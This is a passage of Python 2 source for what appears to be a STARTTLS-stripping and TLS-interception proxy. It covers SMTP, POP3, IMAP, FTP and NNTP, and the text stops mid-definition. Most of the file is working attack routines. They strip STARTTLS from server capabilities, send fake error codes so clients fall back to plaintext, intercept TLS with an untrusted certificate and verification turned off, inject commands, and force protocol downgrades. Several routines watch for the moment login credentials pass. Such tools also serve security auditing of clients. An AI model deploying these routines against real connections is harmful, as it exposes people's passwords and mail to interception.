PROTO_FTP = 21\n PROTO_POP3 = 110\n PROTO_NNTP = 119\n PROTO_IRC = 6667\n PROTO_ACAP = 675\n PROTO_SSL = 443\n \n PORTMAP = {25: PROTO_SMTP,\n 5222:PROTO_XMPP,\n 110: PROTO_POP3,\n 143: PROTO_IMAP,\n 21: PROTO_FTP,\n 119: PROTO_NNTP,\n 6667: PROTO_IRC,\n 675: PROTO_ACAP\n }\n \n KEYWORDS = ((['ehlo', 'helo','starttls','rcpt to:','mail from:'], PROTO_SMTP),\n (['xmpp'], PROTO_XMPP),\n (['. capability'], PROTO_IMAP),\n (['auth tls'], PROTO_FTP)\n )\n \n def __init__(self, target=None):\n self.protocol_id = None\n self.history = []\n if target:\n self.protocol_id = self.PORTMAP.get(target[1])\n if self.protocol_id:\n logger.debug(\"%s - protocol detected (target port)\"%repr(self))\n \n def __str__(self):\n return repr(self.proto_id_to_name(self.protocol_id))\n \n def __repr__(self):\n return \"<ProtocolDetect %s protocol_id=%s len_history=%d>\"%(hex(id(self)), self.proto_id_to_name(self.protocol_id), len(self.history))\n \n def proto_id_to_name(self, id):\n if not id:\n return id\n for p in (a for a in dir(self) if a.startswith(\"PROTO_\")):\n if getattr(self, p)==id:\n return p \n\n def detect_peek_tls(self, sock):\n if sock.socket_ssl:\n raise Exception(\"SSL Detection for ssl socket ..whut!\")\n TLS_VERSIONS = {\n # SSL\n '\\x00\\x02':\"SSL_2_0\",\n '\\x03\\x00':\"SSL_3_0\",\n # TLS\n '\\x03\\x01':\"TLS_1_0\",\n '\\x03\\x02':\"TLS_1_1\",\n '\\x03\\x03':\"TLS_1_2\",\n '\\x03\\x04':\"TLS_1_3\",\n }\n TLS_CONTENT_TYPE_HANDSHAKE = '\\x16'\n SSLv2_PREAMBLE = 0x80\n SSLv2_CONTENT_TYPE_CLIENT_HELLO ='\\x01'\n \n peek_bytes = sock.recv(5, socket.MSG_PEEK)\n if not len(peek_bytes)==5:\n return\n # detect sslv2, sslv3, tls: one symbol is one byte; T .. type\n # L .. length \n # V .. version\n # 01234\n # detect sslv2 LLTVV T=0x01 ... MessageType.client_hello; L high bit set.\n # sslv3 TVVLL \n # tls TVVLL T=0x16 ... ContentType.Handshake\n v = None\n if ord(peek_bytes[0]) & SSLv2_PREAMBLE \\\n and peek_bytes[2]==SSLv2_CONTENT_TYPE_CLIENT_HELLO \\\n and peek_bytes[3:3+2] in TLS_VERSIONS.keys():\n v = TLS_VERSIONS.get(peek_bytes[3:3+2])\n logger.info(\"ProtocolDetect: SSL23/TLS version: %s\"%v)\n elif peek_bytes[0] == TLS_CONTENT_TYPE_HANDSHAKE \\\n and peek_bytes[1:1+2] in TLS_VERSIONS.keys():\n v = TLS_VERSIONS.get(peek_bytes[1:1+2]) \n logger.info(\"ProtocolDetect: TLS version: %s\"%v)\n return v\n \n\n def detect(self, data):\n if self.protocol_id:\n return self.protocol_id\n self.history.append(data)\n for keywordlist,proto in self.KEYWORDS:\n if any(k in data.lower() for k in keywordlist):\n self.protocol_id = proto\n logger.debug(\"%s - protocol detected (protocol messages)\"%repr(self))\n return\n \nclass Session(object):\n ''' Proxy session from client <-> proxy <-> server \n @param inbound: inbound socket\n @param outbound: outbound socket\n @param target: target tuple ('ip',port) \n @param buffer_size: socket buff size'''\n \n def __init__(self, proxy, inbound=None, outbound=None, target=None, buffer_size=4096):\n self.proxy = proxy\n self.bind = proxy.getsockname()\n self.inbound = TcpSockBuff(inbound)\n self.outbound = TcpSockBuff(outbound, peer=target)\n self.buffer_size = buffer_size\n self.protocol = ProtocolDetect(target=target)\n self.datastore = {}\n \n def __repr__(self):\n return \"<Session %s [client: %s] --> [prxy: %s] --> [target: %s]>\"%(hex(id(self)),\n self.inbound.peer,\n self.bind,\n self.outbound.peer)\n def __str__(self):\n return \"<Session %s>\"%hex(id(self))\n \n def connect(self, target):\n self.outbound.peer = target\n logger.info(\"%s connecting to target %s\"%(self, repr(target)))\n return self.outbound.connect(target)\n \n def accept(self):\n sock, addr = self.proxy.accept()\n self.inbound = TcpSockBuff(sock)\n self.inbound.peer = addr\n logger.info(\"%s client %s has connected\"%(self,repr(self.inbound.peer)))\n return sock,addr\n \n def get_peer_sockets(self):\n return [self.inbound.socket, self.outbound.socket]\n \n def notify_read(self, sock):\n if sock == self.proxy:\n self.accept()\n self.connect(self.outbound.peer)\n elif sock == self.inbound.socket:\n # new client -> prxy - data\n self.on_recv_peek(self.inbound, self)\n self.on_recv(self.inbound, self.outbound, self)\n elif sock == self.outbound.socket:\n # new sprxy <- target - data\n self.on_recv(self.outbound, self.inbound, self)\n return \n \n def close(self):\n try:\n self.outbound.socket.shutdown(2)\n self.outbound.socket.close()\n self.inbound.socket.shutdown(2)\n self.inbound.socket.close()\n except socket.error, se:\n logger.warning(\"session.close(): Exception: %s\"%repr(se))\n raise SessionTerminatedException()\n \n def on_recv(self, s_in, s_out, session):\n data = s_in.recv(session.buffer_size)\n self.protocol.detect(data)\n if not len(data):\n return session.close()\n if s_in == session.inbound:\n data = self.mangle_client_data(session, data)\n elif s_in == session.outbound:\n data = self.mangle_server_data(session, data)\n if data:\n s_out.sendall(data)\n return data\n \n def on_recv_peek(self, s_in, session): pass\n def mangle_client_data(self, session, data, rewrite): return data\n def mangle_server_data(self, session, data, rewrite): return data\n \nclass ProxyServer(object):\n '''Proxy Class'''\n \n def __init__(self, listen, target, buffer_size=4096, delay=0.0001):\n self.input_list = set([])\n self.sessions = {} # sock:Session()\n self.callbacks = {} # name: [f,..]\n #\n self.listen = listen\n self.target = target\n #\n self.buffer_size = buffer_size\n self.delay = delay\n self.bind = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.bind.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.bind.bind(listen)\n self.bind.listen(200)\n \n def __str__(self):\n return \"<Proxy %s listen=%s target=%s>\"%(hex(id(self)),self.listen, self.target)\n\n def get_session_by_client_sock(self, sock):\n return self.sessions.get(sock)\n\n def set_callback(self, name, f):\n self.callbacks[name] = f\n\n def main_loop(self):\n self.input_list.add(self.bind)\n while True:\n time.sleep(self.delay)\n inputready, _, _ = select.select(self.input_list, [], [])\n \n for sock in inputready:\n if not sock in self.input_list: \n # Check if inputready sock is still in the list of socks to read from\n # as SessionTerminateException might remove multiple sockets from that list\n # this might otherwise lead to bad FD access exceptions\n continue\n session = None\n try:\n if sock == self.bind:\n # on_accept\n session = Session(sock, target=self.target)\n for k,v in self.callbacks.iteritems():\n setattr(session, k, v)\n session.notify_read(sock)\n for s in session.get_peer_sockets():\n self.sessions[s]=session\n self.input_list.update(session.get_peer_sockets())\n else:\n # on_recv\n try:\n session = self.get_session_by_client_sock(sock)\n session.notify_read(sock)\n except ssl.SSLError, se:\n if se.errno != ssl.SSL_ERROR_WANT_READ:\n raise\n continue\n except SessionTerminatedException:\n self.input_list.difference_update(session.get_peer_sockets())\n logger.warning(\"%s terminated.\"%session)\n except Exception, e:\n logger.error(\"main: %s\"%repr(e))\n if isinstance(e,IOError):\n for kname,value in ((a,getattr(Vectors,a)) for a in dir(Vectors) if a.startswith(\"_TLS_\")):\n if not os.path.isfile(value):\n logger.error(\"%s = %s - file not found\"%(kname, repr(value)))\n if session:\n logger.error(\"main: removing all sockets associated with session that raised exception: %s\"%repr(session))\n try:\n session.close()\n except SessionTerminatedException: pass\n self.input_list.difference_update(session.get_peer_sockets())\n elif sock and sock!=self.bind:\n # exception for non-bind socket - probably fine to close and remove it from our list\n logger.error(\"main: removing socket that probably raised the exception\")\n sock.close()\n self.input_list.remove(sock)\n else:\n # this is just super-fatal - something happened while processing our bind socket.\n raise \n\nclass Vectors:\n _TLS_CERTFILE = \"server.pem\"\n _TLS_KEYFILE = \"server.pem\"\n \n class GENERIC:\n _PROTO_ID = None\n class Intercept:\n '''\n proto independent msg_peek based tls interception\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite): return data\n @staticmethod\n def mangle_client_data(session, data, rewrite): return data\n @staticmethod\n def on_recv_peek(session, s_in):\n if s_in.socket_ssl:\n return\n\n ssl_version = session.protocol.detect_peek_tls(s_in)\n if ssl_version:\n logger.info(\"SSL Handshake detected - performing ssl/tls conversion\")\n try:\n context = Vectors.GENERIC.Intercept.create_ssl_context()\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\n keyfile=Vectors._TLS_KEYFILE)\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\n session.outbound.ssl_wrap_socket_with_context(context, server_side=False)\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\n except Exception, e:\n logger.warning(\"Exception - not ssl intercepting outbound: %s\"%repr(e))\n \n @staticmethod\n def create_ssl_context(proto=ssl.PROTOCOL_SSLv23, \n verify_mode=ssl.CERT_NONE,\n protocols=None,\n options=None,\n ciphers=\"ALL\"):\n protocols = protocols or ('PROTOCOL_SSLv3','PROTOCOL_TLSv1',\n 'PROTOCOL_TLSv1_1','PROTOCOL_TLSv1_2')\n options = options or ('OP_CIPHER_SERVER_PREFERENCE','OP_SINGLE_DH_USE',\n 'OP_SINGLE_ECDH_USE','OP_NO_COMPRESSION')\n context = ssl.SSLContext(proto)\n context.verify_mode = verify_mode\n # reset protocol, options\n context.protocol = 0\n context.options = 0\n for p in protocols:\n context.protocol |= getattr(ssl, p, 0)\n for o in options:\n context.options |= getattr(ssl, o, 0)\n context.set_ciphers(ciphers)\n return context\n \n class InboundIntercept:\n '''\n proto independent msg_peek based tls interception\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n # peek again - make sure to check for inbound ssl connections\n # before forwarding data to the inbound channel\n # just in case server is faster with answer than client with hello\n # likely if smtpd and striptls are running on the same segment\n # and client is not.\n if not session.inbound.socket_ssl:\n # only peek if inbound is not in tls mode yet\n # kind of a hack but allow additional 0.1 secs for the client\n # to send its hello\n time.sleep(0.1)\n Vectors.GENERIC.InterceptInbound.on_recv_peek(session, session.inbound)\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite): \n return data\n @staticmethod\n def on_recv_peek(session, s_in):\n if s_in.socket_ssl:\n return\n\n ssl_version = session.protocol.detect_peek_tls(s_in)\n if ssl_version:\n logger.info(\"SSL Handshake detected - performing ssl/tls conversion\")\n try:\n context = Vectors.GENERIC.Intercept.create_ssl_context()\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\n keyfile=Vectors._TLS_KEYFILE)\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\n except Exception, e:\n logger.warning(\"Exception - not ssl intercepting inbound: %s\"%repr(e))\n \n class SMTP:\n _PROTO_ID = 25\n class StripFromCapabilities:\n ''' 1) Force Server response to *NOT* announce STARTTLS support\n 2) raise exception if client tries to negotiated STARTTLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and \"250\" in data:\n features = [f for f in data.strip().split('\\r\\n') if not \"STARTTLS\" in f]\n if not features[-1].startswith(\"250 \"):\n features[-1] = features[-1].replace(\"250-\",\"250 \") # end marker\n data = '\\r\\n'.join(features)+'\\r\\n' \n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\n elif \"mail from\" in data.lower():\n rewrite.set_result(session, True)\n return data\n \n class StripWithInvalidResponseCode:\n ''' 1) Force Server response to contain STARTTLS even though it does not support it (just because we can)\n 2) Respond to client STARTTLS with invalid response code\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and \"250\" in data:\n features = list(data.strip().split(\"\\r\\n\"))\n features.insert(-1,\"250-STARTTLS\") # add STARTTLS from capabilities\n #if \"STARTTLS\" in data:\n # features = [f for f in features if not \"STARTTLS\" in f] # remove STARTTLS from capabilities\n data = '\\r\\n'.join(features)+'\\r\\n' \n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n session.inbound.sendall(\"200 STRIPTLS\\r\\n\")\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"200 STRIPTLS\\r\\n\")))\n data=None\n elif \"mail from\" in data.lower():\n rewrite.set_result(session, True)\n return data\n \n class StripWithTemporaryError:\n ''' 1) force server error on client sending STARTTLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n session.inbound.sendall(\"454 TLS not available due to temporary reason\\r\\n\")\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"454 TLS not available due to temporary reason\\r\\n\")))\n data=None\n elif \"mail from\" in data.lower():\n rewrite.set_result(session, True)\n return data\n \n class StripWithError:\n ''' 1) force server error on client sending STARTTLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n session.inbound.sendall(\"501 Syntax error\\r\\n\")\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"501 Syntax error\\r\\n\")))\n data=None\n elif \"mail from\" in data.lower():\n rewrite.set_result(session, True)\n return data\n \n class UntrustedIntercept:\n ''' 1) Do not mangle server data\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\n in case client does not check keys\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n # do inbound STARTTLS\n session.inbound.sendall(\"220 Go ahead\\r\\n\")\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"220 Go ahead\\r\\n\")))\n context = Vectors.GENERIC.Intercept.create_ssl_context()\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \n keyfile=Vectors._TLS_KEYFILE)\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\n \n # outbound ssl\n session.outbound.sendall(data)\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\n resp_data = session.outbound.recv_blocked()\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\n if \"220\" not in resp_data:\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\n session.outbound.ssl_wrap_socket() \n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\n \n data=None\n elif \"mail from\" in data.lower():\n rewrite.set_result(session, True)\n return data\n \n class InboundStarttlsProxy:\n ''' Inbound is starttls, outbound is plain\n 1) Do not mangle server data\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\n in case client does not check keys\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n # keep track of stripped server ehlo/helo\n if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and \"250\" in data and not session.datastore.get(\"server_ehlo_stripped\"): #only do this once\n # wait for full line\n while not \"250 \" in data:\n data+=session.outbound.recv_blocked()\n \n features = [f for f in data.strip().split('\\r\\n') if not \"STARTTLS\" in f]\n if features and not features[-1].startswith(\"250 \"):\n features[-1] = features[-1].replace(\"250-\",\"250 \") # end marker\n # force starttls announcement\n session.datastore['server_ehlo_stripped']= '\\r\\n'.join(features)+'\\r\\n' # stripped\n \n if len(features)>1:\n features.insert(-1,\"250-STARTTLS\")\n else:\n features.append(\"250 STARTTLS\")\n features[0]=features[0].replace(\"250 \",\"250-\")\n data = '\\r\\n'.join(features)+'\\r\\n' # forced starttls\n session.datastore['server_ehlo'] = data\n \n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n # do inbound STARTTLS\n session.inbound.sendall(\"220 Go ahead\\r\\n\")\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"220 Go ahead\\r\\n\")))\n context = Vectors.GENERIC.Intercept.create_ssl_context()\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\n keyfile=Vectors._TLS_KEYFILE)\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\n # inbound ssl, fake server ehlo on helo/ehlo\n indata = session.inbound.recv_blocked()\n if not any(e in indata for e in ('ehlo','helo')):\n raise ProtocolViolationException(\"whoop!? client did not send EHLO/HELO after STARTTLS finished.. proto violation: %s\"%repr(indata))\n logger.debug(\"%s [client] => [ ][mangled] %s\"%(session,repr(indata)))\n session.inbound.sendall(session.datastore[\"server_ehlo_stripped\"])\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(session.datastore[\"server_ehlo_stripped\"])))\n data=None\n elif any(e in data for e in ('ehlo','helo')) and session.datastore.get(\"server_ehlo_stripped\"):\n # just do not forward the second ehlo/helo\n data=None\n elif \"mail from\" in data.lower():\n rewrite.set_result(session, True)\n return data\n \n class ProtocolDowngradeStripExtendedMode:\n ''' Return error on EHLO to force peer to non-extended mode\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if data.lower().startswith(\"ehlo \"):\n session.inbound.sendall(\"502 Error: command \\\"EHLO\\\" not implemented\\r\\n\")\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"502 Error: command \\\"EHLO\\\" not implemented\\r\\n\")))\n data=None\n elif \"mail from\" in data.lower():\n rewrite.set_result(session, True)\n return data\n \n class InjectCommand:\n ''' 1) Append command to STARTTLS\\r\\n.\n 2) untrusted intercept to check if we get an invalid command response from server\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n data += \"INJECTED_INVALID_COMMAND\\r\\n\"\n #logger.debug(\"%s [client] => [server][mangled] %s\"%(session,repr(data)))\n try:\n Vectors.SMTP.UntrustedIntercept.mangle_client_data(session, data, rewrite)\n except ssl.SSLEOFError, se:\n logging.info(\"%s - Server failed to negotiate SSL with Exception: %s\"%(session, repr(se))) \n session.close()\n elif \"mail from\" in data.lower():\n rewrite.set_result(session, True)\n return data\n \n class POP3:\n _PROTO_ID = 110\n\n class StripFromCapabilities:\n ''' 1) Force Server response to *NOT* announce STLS support\n 2) raise exception if client tries to negotiated STLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if data.lower().startswith('+ok capability'):\n features = [f for f in data.strip().split('\\r\\n') if not \"stls\" in f.lower()]\n data = '\\r\\n'.join(features)+'\\r\\n'\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if data.lower().startswith(\"stls\"):\n raise ProtocolViolationException(\"whoop!? client sent STLS even though we did not announce it.. proto violation: %s\"%repr(data))\n elif any(c in data.lower() for c in ('list','user ','pass ')):\n rewrite.set_result(session, True)\n return data\n\n class StripWithError:\n ''' 1) force server error on client sending STLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"stls\" == data.strip().lower():\n session.inbound.sendall(\"-ERR unknown command\\r\\n\")\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"-ERR unknown command\\r\\n\")))\n data=None\n elif any(c in data.lower() for c in ('list','user ','pass ')):\n rewrite.set_result(session, True)\n return data\n \n class UntrustedIntercept:\n ''' 1) Do not mangle server data\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\n in case client does not check keys\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"stls\"==data.strip().lower():\n # do inbound STARTTLS\n session.inbound.sendall(\"+OK Begin TLS negotiation\\r\\n\")\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"+OK Begin TLS negotiation\\r\\n\")))\n context = Vectors.GENERIC.Intercept.create_ssl_context()\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \n keyfile=Vectors._TLS_CERTFILE)\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\n # outbound ssl\n \n session.outbound.sendall(data)\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\n resp_data = session.outbound.recv_blocked()\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\n if \"+OK\" not in resp_data:\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\n \n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\n session.outbound.ssl_wrap_socket()\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\n \n data=None\n elif any(c in data.lower() for c in ('list','user ','pass ')):\n rewrite.set_result(session, True)\n return data\n \n class IMAP:\n _PROTO_ID = 143\n class StripFromCapabilities:\n ''' 1) Force Server response to *NOT* announce STARTTLS support\n 2) raise exception if client tries to negotiated STARTTLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if \"CAPABILITY \" in data:\n # rfc2595\n data = data.replace(\" STARTTLS\",\"\").replace(\" LOGINDISABLED\",\"\")\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \" STARTTLS\" in data:\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\n elif \" LOGIN \" in data:\n rewrite.set_result(session, True)\n return data\n \n class StripWithError:\n ''' 1) force server error on client sending STLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if data.strip().lower().endswith(\"starttls\"):\n id = data.split(' ',1)[0].strip()\n session.inbound.sendall(\"%s BAD unknown command\\r\\n\"%id)\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%s BAD unknown command\\r\\n\"%id)))\n data=None\n elif \" LOGIN \" in data:\n rewrite.set_result(session, True)\n return data\n\n class ProtocolDowngradeToV2:\n ''' Return IMAP2 instead of IMAP4 in initial server response\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if all(kw.lower() in data.lower() for kw in (\"IMAP4\",\"* OK \")):\n session.inbound.sendall(\"OK IMAP2 Server Ready\\r\\n\")\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"OK IMAP2 Server Ready\\r\\n\")))\n data=None\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\n elif \"mail from\" in data.lower():\n rewrite.set_result(session, True)\n return data\n\n class UntrustedIntercept:\n ''' 1) Do not mangle server data\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\n in case client does not check keys\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if data.strip().lower().endswith(\"starttls\"):\n id = data.split(' ',1)[0].strip()\n # do inbound STARTTLS\n session.inbound.sendall(\"%s OK Begin TLS negotation now\\r\\n\"%id)\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"%s OK Begin TLS negotation now\\r\\n\"%id)))\n context = Vectors.GENERIC.Intercept.create_ssl_context()\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \n keyfile=Vectors._TLS_CERTFILE)\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\n \n # outbound ssl\n \n session.outbound.sendall(data)\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\n resp_data = session.outbound.recv_blocked()\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\n if \"%s OK\"%id not in resp_data:\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\n \n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\n session.outbound.ssl_wrap_socket()\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\n \n data=None\n elif \" LOGIN \" in data:\n rewrite.set_result(session, True)\n return data\n \n class FTP:\n _PROTO_ID = 21\n class StripFromCapabilities:\n ''' 1) Force Server response to *NOT* announce AUTH TLS support\n 2) raise exception if client tries to negotiated AUTH TLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if session.outbound.sndbuf.strip().lower()==\"feat\" \\\n and \"AUTH TLS\" in data:\n features = (f for f in data.strip().split('\\n') if not \"AUTH TLS\" in f)\n data = '\\n'.join(features)+\"\\r\\n\"\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"AUTH TLS\" in data:\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\n elif \"USER \" in data:\n rewrite.set_result(session, True)\n return data\n \n class StripWithError:\n ''' 1) force server error on client sending AUTH TLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"AUTH TLS\" in data:\n session.inbound.sendall(\"500 AUTH TLS not understood\\r\\n\")\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"500 AUTH TLS not understood\\r\\n\")))\n data=None\n elif \"USER \" in data:\n rewrite.set_result(session, True)\n return data\n \n class UntrustedIntercept:\n ''' 1) Do not mangle server data\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\n in case client does not check keys\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"AUTH TLS\" in data:\n # do inbound STARTTLS\n session.inbound.sendall(\"234 OK Begin TLS negotation now\\r\\n\")\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"234 OK Begin TLS negotation now\\r\\n\")))\n context = Vectors.GENERIC.Intercept.create_ssl_context()\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \n keyfile=Vectors._TLS_KEYFILE)\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\n # outbound ssl\n \n session.outbound.sendall(data)\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\n resp_data = session.outbound.recv_blocked()\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\n if not resp_data.startswith(\"234\"):\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\n \n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\n session.outbound.ssl_wrap_socket()\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\n \n data=None\n elif \"USER \" in data:\n rewrite.set_result(session, True)\n return data\n \n class NNTP:\n _PROTO_ID = 119\n class StripFromCapabilities:\n ''' 1) Force Server response to *NOT* announce STARTTLS support\n 2) raise exception if client tries to negotiated STARTTLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if session.outbound.sndbuf.strip().lower()==\"capabilities\" \\\n and \"STARTTLS\" in data:\n features = (f for f in data.strip().split('\\n') if not \"STARTTLS\" in f)\n data = '\\n'.join(features)+\"\\r\\n\"\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\n elif \"GROUP \" in data:\n rewrite.set_result(session, True)\n return data\n \n class StripWithError:\n ''' 1) force server error on client sending STARTTLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n session.inbound.sendall(\"502 Command unavailable\\r\\n\") # or 580 Can not initiate TLS negotiation\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"502 Command unavailable\\r\\n\")))\n data=None\n elif \"GROUP \" in data:\n rewrite.set_result(session, True)\n return data\n \n class UntrustedIntercept:\n ''' 1) Do not mangle server data\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\n in case client does not check keys\n '''\n @staticmethod\n def 